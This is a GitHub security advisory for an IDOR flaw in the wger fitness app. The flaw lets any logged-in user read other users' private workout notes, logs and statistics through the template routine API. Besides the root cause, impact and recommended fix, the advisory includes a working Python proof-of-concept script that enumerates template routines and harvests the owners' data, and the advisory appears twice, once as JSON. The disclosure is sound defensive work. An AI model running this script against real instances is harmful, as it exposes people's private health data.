GHSA-CJ9G-27PH-4CGV

Vulnerability from github – Published: 2026-05-14 16:16 – Updated: 2026-05-14 16:16
VLAI
Summary
wger Vulnerable to IDOR: Authenticated Users Can Read Any User's Private Workout Session Data via Template Routine API
Details

Summary

Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.

The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).

An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.

Description

wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.

The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:                                  # ← any template is readable
        return request.method in permissions.SAFE_METHODS  # by any authenticated user

    return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),   # ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()  # ← owner's statistics
    ).data
    return Response(out)

self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

  1. Enumerate all public template routines across all users: GET /api/v2/routine/?is_template=true&is_public=true

  2. Read private workout session notes (freeform text entered by the victim after each workout session)

  3. Read full workout history including exercise names, weights, repetitions, and dates

  4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

  • alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.

  • bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.

Step-by-step

  1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.

  2. Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.

  3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.

  4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"  # replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}

    # Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")

        # Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")   # ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()

        # Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper body volume: {volume.get('upper_body')} kg")
            print(f"    Lower body volume: {volume.get('lower_body')} kg")
            print()

        print("-" * 60)


if __name__ == "__main__":
    # Attacker uses their OWN credentials (no privilege needed)
    print("[*] Authenticating as attacker (bob)...")
    token = get_token("bob", "bobpassword")
    print(f"[+] Token acquired\n")

    exploit(token)

Expected output

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
    Date:       2024-06-15
    Notes:      SECRET workout note      ← alice's private note
    Impression: 3
    Logs:       0 exercise entries

[+] Training statistics for routine #1:
    Total volume:      0.00 kg
    Upper body volume: 0.00 kg
    Lower body volume: 0.00 kg

image

Recommended Fix

The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.

# wger/manager/api/views.py

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    routine = self.get_object()
    # Only return logs for the requesting user, regardless of routine ownership
    out = LogDisplaySerializer(
        routine.logs_display(user=request.user),
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    routine = self.get_object()
    out = LogStatsDataSerializer(
        routine.calculate_log_statistics(user=request.user)
    ).data
    return Response(out)

Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    # Template routines are readable, but only their structure 
    # never their owner's personal training history
    if obj.is_template and view.action not in ('logs', 'stats'):
        return request.method in permissions.SAFE_METHODS

    return False
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T16:16:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary \nAny authenticated user can read another user\u0027s private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.\n\nThe RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner\u0027s personal training data instead of the requesting user\u0027s data, creating an insecure direct object reference (IDOR).\n\nAn attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call \nGET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner\u0027s private health data including workout notes, weights, repetitions, and performance statistics.\n\n### Description\n\nwger exposes a REST API endpoint that allows any authenticated user to retrieve the **private workout session notes, exercise logs, and training statistics** belonging to another user, as long as that user has at least one routine marked as a public template.\n\nThe vulnerability exists in `RoutineViewSet` (`wger/manager/api/views.py`). The view defines two custom actions  `/logs/` and `/stats/`  that are intended to return data for the **requesting user\u0027s own** training history within a routine. However, the underlying permission check (`RoutinePermission.has_object_permission`) grants read access to **any** authenticated user when the routine has `is_template=True`, regardless of ownership. When the `/logs/` or `/stats/` actions are invoked against a routine the attacker does not own, they return the **owner\u0027s** private workout history, not the attacker\u0027s.\n\n### Root Cause\n\n**File:** `wger/manager/api/permissions.py`, lines 30\u201341\n\n```python\ndef has_object_permission(self, request, view, obj):\n    if obj.user == request.user:\n        return True\n\n    if obj.is_template:                                  # \u2190 any template is readable\n        return request.method in permissions.SAFE_METHODS  # by any authenticated user\n\n    return False\n```\n\n**File:** `wger/manager/api/views.py`, lines 173\u2013199\n\n```python\n@action(detail=True, url_path=\u0027logs\u0027)\ndef logs(self, request, pk):\n    out = LogDisplaySerializer(\n        self.get_object().logs_display(),   # \u2190 returns OWNER\u0027s logs, not request.user\u0027s\n        many=True,\n    ).data\n    return Response(out)\n\n@action(detail=True, url_path=\u0027stats\u0027)\ndef stats(self, request, pk):\n    out = LogStatsDataSerializer(\n        self.get_object().calculate_log_statistics()  # \u2190 owner\u0027s statistics\n    ).data\n    return Response(out)\n```\n\n`self.get_object()` retrieves the routine belonging to the **owner** (e.g., user A). Since `is_template=True` passes the permission check for any authenticated user, the attacker\u0027s request reaches `logs_display()` and `calculate_log_statistics()`, which return the **owner\u0027s** workout history, not the attacker\u0027s.\n\nThe intended behavior is that templates are public workout *plans* (exercise structure, sets, reps), but the `/logs/` and `/stats/` actions expose the *owner\u0027s personal training history* logged against that plan.\n\n\n### Impact\n\nAn authenticated attacker can:\n\n1. **Enumerate** all public template routines across all users:\n   `GET /api/v2/routine/?is_template=true\u0026is_public=true`\n\n2. **Read private workout session notes** (freeform text entered by the victim after each workout session)\n\n3. **Read full workout history** including exercise names, weights, repetitions, and dates\n\n4. **Read training statistics** including volume, intensity, and set counts per muscle group and mesocycle\n\nThis data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.\n\n\n### Proof of Concept\n\n#### Scenario\n\nThere are two users in the system:\n\n- **alice** : a regular wger user who has been using the platform for months. She created a routine called \"My 5/3/1 Program\" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.\n\n- **bob** :  a second registered user who has never interacted with alice\u0027s account.\n\n**The attack:**\n\nBob calls the routine listing endpoint to find all public templates. He gets back alice\u0027s routine ID. He then calls `/api/v2/routine/{id}/logs/`  an endpoint that should only show his own logs but instead receives alice\u0027s full workout history, including all her session notes (\"Felt strong today, PR on squat\"), weights, and performance data.\n\nBob does **not** need to know alice\u0027s username. He only needs her routine ID, which is a sequential integer discoverable by iterating `?is_template=true`.\n\n#### Step-by-step\n\n1. Bob registers a free account on the wger instance and obtains a JWT access token via `POST /api/v2/token`.\n\n2. Bob calls `GET /api/v2/routine/?is_template=true\u0026is_public=true` this lists all public template routines from **all users** across the platform, including their IDs.\n\n3. For each routine ID returned, Bob calls `GET /api/v2/routine/{id}/logs/`  this returns the **routine owner\u0027s** workout sessions, including freeform personal notes and all logged exercises with weights and reps.\n\n4. Bob calls `GET /api/v2/routine/{id}/stats/` to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine\u0027s owner.\n\nNo special permissions are needed. A fresh account (1-minute-old) can exploit this.\n\n#### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: IDOR - Workout Session Data Exposure via Template Routine API\nAffected: wger \u003c= 2.5.0a2\nTarget:   GET /api/v2/routine/{id}/logs/\n          GET /api/v2/routine/{id}/stats/\n\"\"\"\n\nimport requests\nimport json\n\nBASE_URL = \"http://TARGET_IP\"  # replace with target\n\n\ndef get_token(username, password):\n    r = requests.post(\n        f\"{BASE_URL}/api/v2/token\",\n        json={\"username\": username, \"password\": password},\n    )\n    r.raise_for_status()\n    return r.json()[\"access\"]\n\n\ndef exploit(attacker_token):\n    headers = {\"Authorization\": f\"Bearer {attacker_token}\"}\n\n    # Step 1: Enumerate all public template routines (from ALL users)\n    print(\"[*] Step 1: Enumerating public template routines...\")\n    r = requests.get(\n        f\"{BASE_URL}/api/v2/routine/\",\n        params={\"is_template\": \"true\", \"is_public\": \"true\"},\n        headers=headers,\n    )\n    routines = r.json().get(\"results\", [])\n    print(f\"[+] Found {len(routines)} public template routine(s)\\n\")\n\n    for routine in routines:\n        routine_id = routine[\"id\"]\n        routine_name = routine[\"name\"]\n        print(f\"[*] Targeting routine #{routine_id}: \u0027{routine_name}\u0027\")\n\n        # Step 2: Fetch the OWNER\u0027s workout session logs (IDOR)\n        logs_r = requests.get(\n            f\"{BASE_URL}/api/v2/routine/{routine_id}/logs/\",\n            headers=headers,\n        )\n\n        if logs_r.status_code == 200:\n            sessions = logs_r.json()\n            print(f\"[+] VULNERABLE! Got {len(sessions)} session(s):\")\n            for session in sessions:\n                s = session.get(\"session\", {})\n                print(f\"    Date:       {s.get(\u0027date\u0027)}\")\n                print(f\"    Notes:      {s.get(\u0027notes\u0027)}\")   # \u2190 private user notes\n                print(f\"    Impression: {s.get(\u0027impression\u0027)}\")\n                print(f\"    Logs:       {len(session.get(\u0027logs\u0027, []))} exercise entries\")\n                print()\n\n        # Step 3: Fetch the OWNER\u0027s training statistics (IDOR)\n        stats_r = requests.get(\n            f\"{BASE_URL}/api/v2/routine/{routine_id}/stats/\",\n            headers=headers,\n        )\n\n        if stats_r.status_code == 200:\n            stats = stats_r.json()\n            print(f\"[+] Training statistics for routine #{routine_id}:\")\n            volume = stats.get(\"volume\", {}).get(\"mesocycle\", {})\n            print(f\"    Total volume:      {volume.get(\u0027total\u0027)} kg\")\n            print(f\"    Upper body volume: {volume.get(\u0027upper_body\u0027)} kg\")\n            print(f\"    Lower body volume: {volume.get(\u0027lower_body\u0027)} kg\")\n            print()\n\n        print(\"-\" * 60)\n\n\nif __name__ == \"__main__\":\n    # Attacker uses their OWN credentials (no privilege needed)\n    print(\"[*] Authenticating as attacker (bob)...\")\n    token = get_token(\"bob\", \"bobpassword\")\n    print(f\"[+] Token acquired\\n\")\n\n    exploit(token)\n```\n\n#### Expected output\n\n```\n[*] Authenticating as attacker (bob)...\n[+] Token acquired\n\n[*] Step 1: Enumerating public template routines...\n[+] Found 1 public template routine(s)\n\n[*] Targeting routine #1: \u0027Admin Secret Routine\u0027\n[+] VULNERABLE! Got 1 session(s):\n    Date:       2024-06-15\n    Notes:      SECRET workout note      \u2190 alice\u0027s private note\n    Impression: 3\n    Logs:       0 exercise entries\n\n[+] Training statistics for routine #1:\n    Total volume:      0.00 kg\n    Upper body volume: 0.00 kg\n    Lower body volume: 0.00 kg\n```\n\n\u003cimg width=\"671\" height=\"594\" alt=\"image\" src=\"https://github.com/user-attachments/assets/473cfd87-a63a-452d-a4f3-1aad23c4be24\" /\u003e\n\n\n### Recommended Fix\n\nThe `/logs/` and `/stats/` actions must filter results to the **requesting user**, not the routine owner.\n\n```python\n# wger/manager/api/views.py\n\n@action(detail=True, url_path=\u0027logs\u0027)\ndef logs(self, request, pk):\n    routine = self.get_object()\n    # Only return logs for the requesting user, regardless of routine ownership\n    out = LogDisplaySerializer(\n        routine.logs_display(user=request.user),\n        many=True,\n    ).data\n    return Response(out)\n\n@action(detail=True, url_path=\u0027stats\u0027)\ndef stats(self, request, pk):\n    routine = self.get_object()\n    out = LogStatsDataSerializer(\n        routine.calculate_log_statistics(user=request.user)\n    ).data\n    return Response(out)\n```\n\nAdditionally, `RoutinePermission.has_object_permission` should explicitly deny access to the `/logs/` and `/stats/` actions for non-owners, regardless of `is_template`:\n\n```python\ndef has_object_permission(self, request, view, obj):\n    if obj.user == request.user:\n        return True\n\n    # Template routines are readable, but only their structure \n    # never their owner\u0027s personal training history\n    if obj.is_template and view.action not in (\u0027logs\u0027, \u0027stats\u0027):\n        return request.method in permissions.SAFE_METHODS\n\n    return False\n```",
  "id": "GHSA-cj9g-27ph-4cgv",
  "modified": "2026-05-14T16:16:21Z",
  "published": "2026-05-14T16:16:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-cj9g-27ph-4cgv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger Vulnerable to IDOR: Authenticated Users Can Read Any User\u0027s Private Workout Session Data via Template Routine API"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.